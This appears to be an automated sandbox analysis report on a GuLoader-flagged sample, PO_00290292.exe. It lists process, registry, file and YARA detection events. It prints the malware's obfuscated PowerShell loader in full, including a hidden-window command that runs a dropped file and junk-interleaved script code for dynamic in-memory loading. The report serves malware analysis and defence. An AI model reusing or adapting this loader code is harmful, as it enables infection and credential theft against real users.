ReElrHai FnStgUre Irgr3 I=LaPGayWexfliBddSoeBosPa4No ek'Re3StDIn1mi7Un1RuDCp1 NA N0maBRo0Fa3 V4Ma0Br3UnC F1MiBZo0 H0So1FeAKa0Ma7Bl0Un3 C0CaB D4Mo0Pr2Da7Sc0Ho0Hu1ReA I0DiBFj1AgCFl0Ud1Su1SeEHo3PhDFo0CaBCo1 TCgr1re8Ma0 D7An0UdDBo0AtBJu1VeDPo4Jo0Mi2 P6 P0 SFFo0Ju0re0CoA S0Bl2 S0 LBUn3CaCNd0UnBLo0Af8 B' M;In`$DeECosDrtDri Sm se UrTriOunRegSke MrPr4Ti=deP IyPexSpiSpdCee FsSu4Zo Zo'At1PaDva1SoA E1ReCud0 B7Ha0 E0Mi0 A9Ti'No;Sw`$SeEHasBltSeiPamKoeOvrPoiGrnGegObe ArWi5Sk=DiPabyToxGaiSedOre GsVo4St D' F2Da9Ko0 MBtr1LiAAd2 U3Fe0Sl1sk0UnA P1asBTr0Do2	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe	Jump to behavior

Source: C:\Users\user\Desktop\PO_00290292.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\PO_00290292.exe

File written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\skrides.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: PO_00290292.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000004.00000002.1607315520.00000000087AA000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1604051248.0000000005CF5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1607101353.0000000008450000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1728501631.000000000285B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\sarawakese.dri, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\nse6573.tmp, type: DROPPED

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((fkp $Manicurist $Sawworker854), (GDT @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$Indbyggedesgamospore = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Ob
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Estimeringer8)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Estimeringer9, $false).DefineType($Sawworke

Suspicious powershell command line found

Source: C:\Users\user\Desktop\PO_00290292.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden $derremc = Get-Content 'C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\Lection.Fle' ; powershell.exe "$derremc"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Spejlvende Journaliseringssystems Conservatorial #><#Basilikers Toothcomb Letfordrvelig #>$Portugals = """Ko;SmFOmu RnFac FtTwiStoFonDe OtPAlyInxHui PdSkeInsEr4 F In{ S tv Po fi TupOvaBerGaafomPa(sm[BeS Tt HrPeiAunOsgEv]Ov`$SpSuioBelAnfPsa UlCedTo)Fo;bu Go`$OvNSkoOprDetNohObuRhm Cb OeLirAal BaTonbodDe Fu=Sk Ru`$ VSSpoAnlVafHeaPulHldRe.CiLHaePrnAsgFatInh M;Ne L Vi Af Ta`$PoD RrAniElf OtSvsPasUnyexs OtSteRimBumreeRetAnsSm Tr=Ch NoNArevvwAp-LaO NbSojOpe DcStt P Tb Ry FtSneVa[Pr]Wh Ud(Le`$miNBioLir VtPahMuuUdm TbSaeperGalAfaInnDedLi Op/ci St2Bo)An; K Ps`$PrRfioCadUntUme PgAnnGyeovtAn1St6Ug8Ab=Pi' CS AU D'In+ P'EdBUnSSpTBoRUnIThNDoG l'Aa;Af Da Co Im TF FoWarDe( D`$StNEnoChnCyetexNupudeOvccrt FaTanPatPa= U0Pl;No Ho`$NoNByoHjnUtelix Tp OeSoc St FaUnnSvtSy Op-ShlTetRe J`$KoNakoVurActQuh SuBumUdbYeeovrOrlSuaMinCrdcr;Li U`$SeNMaoPinTrePaxAlpspeLocHetSmaUnnBetBa+ro= G2Tr) P{Se Un He He Un Au Ko Ta ar`$PoDDer BiDefTet BsTrsBoyThs BtNaeunmKnmWaeAmtDosCa[ S`$ScNUgoBlnMaeApxEkpCaeRec At HaInnentDr/Ho2 U] K Ka= S Da[stcSmoPan BvSkeLer OtOb] N:Zi:UnTreoAaB SyBrt GeHa( d`$ JSMaoWilkofHoaOvlHodOm.No`$AtRPaoPodGitage NgTnnMaemat F1re6Ar8Be.CoI FnPhvSpoNektieJo(Fl`$PhN Do OnBoe RxCop ReSicTatInaSanBatJo,Ln Sp2Fu)Ep,Tr K1Cl6Un)Br;Po in F`$gaDPerChiMefKotRasOvsTey SsRetBoeFimSumIne wtUdsFi[Ar`$TrNMoo Sn Ue DxCypByeRocCotAnaNunomtTe/Ph2No]st Ar=So HaxGaoKnrSoaQummiiBa Sk`$MoDShrSei Sf UtsosPrsSpyLesdotBieDimDomRreUntSps P[ U`$UnNAroRen AeBexHopGee Sc PtBaaInnIntEa/Be2ov]Fi Po1Pl1 M0Gl;ra N un Po Fl}Fo Ou[PsSCotUnrPhiSynSogUn]De[PeSSuy PsLitSkepymIn.KaTSoe LxAntEu.SiEVan Dc UodedPriFnn PgSp]Ph: e:AyAPoSOoC MIFuIJa.PaGGee LtBeSCatStrEri wnUng B(da`$ElDCarIsiAtfPat BsChs SyMnsPttSeeUdmOvmaueDrtPas E)Ra;Un}St`$VeEBismetBjiGamSteHarDiiHanTogSmetorCh0 D=KoPGrySvxPuiOvdSme Ks l4Fi Sk'Au3StDHo1Af7Bo1TrDal1SyAsp0SiBri0 H3Cr4Af0Ma0PlABa0Af2 B0Gr2St'Ga;Ov`$deENesNetTiiFimBreKirSaiLenWagfjeBorLe1Py=AuP lyLexUniFedCleGesat4Op Fa'Ra2Pr3ta0 e7 D0KlDUn1NoCCo0Li1 R1 TDWe0Un1 D0Yv8Su1 TA O4 R0 A3ny9Sl0Fo7Cr0In0Ta5DaD K5ThCLo4 W0Kd3 KB F0Em0ig1SkD D0ReF R0ir8Bu0FoBOp2Ir0De0 SFUg1arAMa0St7Va1Be8 A0UnBKa2Ge3Ho0JuB A1 RA A0Vi6 G0 G1An0DeAHa1KaDPr'Wh; V`$ CEKos StSoi SmEneUnr ui TnNog SeOvrMe2As=ApPTaySaxDriUndreeTesSp4In ap'In2 d9Bl0CrBSa1 AAUn3MaESk1VaCun0Ch1Te0DdDin2SlFBu0SaAAl0TeA F1DyC D0TaBSt1 KDEl1TrDbr'Ra;Ca`$FaEHasSetPaiNim ReElrHai FnStgUre Irgr3 I=LaPGayWexfliBddSoeBosPa4No ek'Re3StDIn1mi7Un1RuDCp1 NA N0maBRo0Fa3 V4Ma0Br3UnC F1MiBZo0 H0So1FeAKa0Ma7Bl0Un3 C0CaB D4Mo0Pr2Da7Sc0Ho0Hu1ReA I0DiBFj1AgCFl0Ud1Su1SeEHo3PhDFo0CaBCo1 TCgr1re8Ma0 D7An0UdDBo0AtBJu1VeDPo4Jo0Mi2 P6 P0 SFFo0Ju0re0CoA S0Bl2 S0 LBUn3CaCNd0UnBLo0Af8 B' M;In`$DeECosDrtDri Sm se UrTriOunRegSke MrPr4Ti=deP IyPexSpiSpdCee FsSu4Zo Zo'At1PaDva1SoA E1ReCud0 B7Ha0 E0Mi0 A9Ti'No;Sw`$SeEHasBltSeiPamKoeOvrPoiGrnGegObe ArWi5Sk=DiPabyToxGaiSedOre GsVo4St D' F2Da9Ko0 MBtr1LiAAd2 U3Fe0Sl1sk0UnA P1asBTr0Do2
Source: C:\Users\user\Desktop\PO_00290292.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden $derremc = Get-Content 'C:\Users\user\AppData\Local\blindsmagningen\Nonprocurement\Lection.Fle' ; powershell.exe "$derremc"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Spejlvende Journaliseringssystems Conservatorial #><#Basilikers Toothcomb Letfordrvelig #>$Portugals = """Ko;SmFOmu RnFac FtTwiStoFonDe OtPAlyInxHui PdSkeInsEr4 F In{ S tv Po fi TupOvaBerGaafomPa(sm[BeS Tt HrPeiAunOsgEv]Ov`$SpSuioBelAnfPsa UlCedTo)Fo;bu Go`$OvNSkoOprDetNohObuRhm Cb OeLirAal BaTonbodDe Fu=Sk Ru`$ VSSpoAnlVafHeaPulHldRe.CiLHaePrnAsgFatInh M;Ne L Vi Af Ta`$PoD RrAniElf OtSvsPasUnyexs OtSteRimBumreeRetAnsSm Tr=Ch NoNArevvwAp-LaO NbSojOpe DcStt P Tb Ry FtSneVa[Pr]Wh Ud(Le`$miNBioLir VtPahMuuUdm TbSaeperGalAfaInnDedLi Op/ci St2Bo)An; K Ps`$PrRfioCadUntUme PgAnnGyeovtAn1St6Ug8Ab=Pi' CS AU D'In+ P'EdBUnSSpTBoRUnIThNDoG l'Aa;Af Da Co Im TF FoWarDe( D`$StNEnoChnCyetexNupudeOvccrt FaTanPatPa= U0Pl;No Ho`$NoNByoHjnUtelix Tp OeSoc St FaUnnSvtSy Op-ShlTetRe J`$KoNakoVurActQuh SuBumUdbYeeovrOrlSuaMinCrdcr;Li U`$SeNMaoPinTrePaxAlpspeLocHetSmaUnnBetBa+ro= G2Tr) P{Se Un He He Un Au Ko Ta ar`$PoDDer BiDefTet BsTrsBoyThs BtNaeunmKnmWaeAmtDosCa[ S`$ScNUgoBlnMaeApxEkpCaeRec At HaInnentDr/Ho2 U] K Ka= S Da[stcSmoPan BvSkeLer OtOb] N:Zi:UnTreoAaB SyBrt GeHa( d`$ JSMaoWilkofHoaOvlHodOm.No`$AtRPaoPodGitage NgTnnMaemat F1re6Ar8Be.CoI FnPhvSpoNektieJo(Fl`$PhN Do OnBoe RxCop ReSicTatInaSanBatJo,Ln Sp2Fu)Ep,Tr K1Cl6Un)Br;Po in F`$gaDPerChiMefKotRasOvsTey SsRetBoeFimSumIne wtUdsFi[Ar`$TrNMoo Sn Ue DxCypByeRocCotAnaNunomtTe/Ph2No]st Ar=So HaxGaoKnrSoaQummiiBa Sk`$MoDShrSei Sf UtsosPrsSpyLesdotBieDimDomRreUntSps P[ U`$UnNAroRen AeBexHopGee Sc PtBaaInnIntEa/Be2ov]Fi Po1Pl1 M0Gl;ra N un Po Fl}Fo Ou[PsSCotUnrPhiSynSogUn]De[PeSSuy PsLitSkepymIn.KaTSoe LxAntEu.SiEVan Dc UodedPriFnn PgSp]Ph: e:AyAPoSOoC MIFuIJa.PaGGee LtBeSCatStrEri wnUng B(da`$ElDCarIsiAtfPat BsChs SyMnsPttSeeUdmOvmaueDrtPas E)Ra;Un}St`$VeEBismetBjiGamSteHarDiiHanTogSmetorCh0 D=KoPGrySvxPuiOvdSme Ks l4Fi Sk'Au3StDHo1Af7Bo1TrDal1SyAsp0SiBri0 H3Cr4Af0Ma0PlABa0Af2 B0Gr2St'Ga;Ov`$deENesNetTiiFimBreKirSaiLenWagfjeBorLe1Py=AuP lyLexUniFedCleGesat4Op Fa'Ra2Pr3ta0 e7 D0KlDUn1NoCCo0Li1 R1 TDWe0Un1 D0Yv8Su1 TA O4 R0 A3ny9Sl0Fo7Cr0In0Ta5DaD K5ThCLo4 W0Kd3 KB F0Em0ig1SkD D0ReF R0ir8Bu0FoBOp2Ir0De0 SFUg1arAMa0St7Va1Be8 A0UnBKa2Ge3Ho0JuB A1 RA A0Vi6 G0 G1An0DeAHa1KaDPr'Wh; V`$ CEKos StSoi SmEneUnr ui TnNog SeOvrMe2As=ApPTaySaxDriUndreeTesSp4In ap'In2 d9Bl0CrBSa1 AAUn3MaESk1VaCun0Ch1Te0DdDin2SlFBu0SaAAl0TeA F1DyC D0TaBSt1 KDEl1TrDbr'Ra;Ca`$FaEHasSetPaiNim ReElrHai FnStgUre Irgr3 I=LaPGayWexfliBddSoeBosPa4No ek'Re3StDIn1mi7Un1RuDCp1 NA N0maBRo0Fa3 V4Ma0Br3UnC F1MiBZo0 H0So1FeAKa0Ma7Bl0Un3 C0CaB D4Mo0Pr2Da7Sc0Ho0Hu1ReA I0DiBFj1AgCFl0Ud1Su1SeEHo3PhDFo0CaBCo1 TCgr1re8Ma0 D7An0UdDBo0AtBJu1VeDPo4Jo0Mi2 P6 P0 SFFo0Ju0re0CoA S0Bl2 S0 LBUn3CaCNd0UnBLo0Af8 B' M;In`$DeECosDrtDri Sm se UrTriOunRegSke MrPr4Ti=deP IyPexSpiSpdCee FsSu4Zo Zo'At1PaDva1SoA E1ReCud0 B7Ha0 E0Mi0 A9Ti'No;Sw`$SeEHasBltSeiPamKoeOvrPoiGrnGegObe ArWi5Sk=DiPabyToxGaiSedOre GsVo4St D' F2Da9Ko0 MBtr1LiAAd2 U3Fe0Sl1sk0UnA P1asBTr0Do2	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04AE369B push ebx; iretd	4_2_04AE36DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04AE60B0 push esp; iretd	4_2_04AE6189
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_075C75FF push esp; iretd	4_2_075C760B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_075C6CDC push ecx; iretd	4_2_075C6CDE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0869F074 pushad ; ret	4_2_0869F07B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0869F24B pushfd ; ret	4_2_0869F266
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_086A34E8 push edx; retf	4_2_086A3526
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_086A0D39 push eax; retf	4_2_086A0D3B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0869FBF6 push cs; ret	4_2_0869FC08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_00AB0CB5 push edi; ret	5_2_00AB0CC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_00AB0C4B push edi; retf	5_2_00AB0C3A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_01130138 push E47BA34Fh; ret	5_2_0113013D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_01130489 pushad ; ret	5_2_01130491
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 5_2_23235D00 push eax; iretd	5_2_23235DFC

Source: C:\Users\user\Desktop\PO_00290292.exe

File created: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\nsExec.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PO_00290292.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
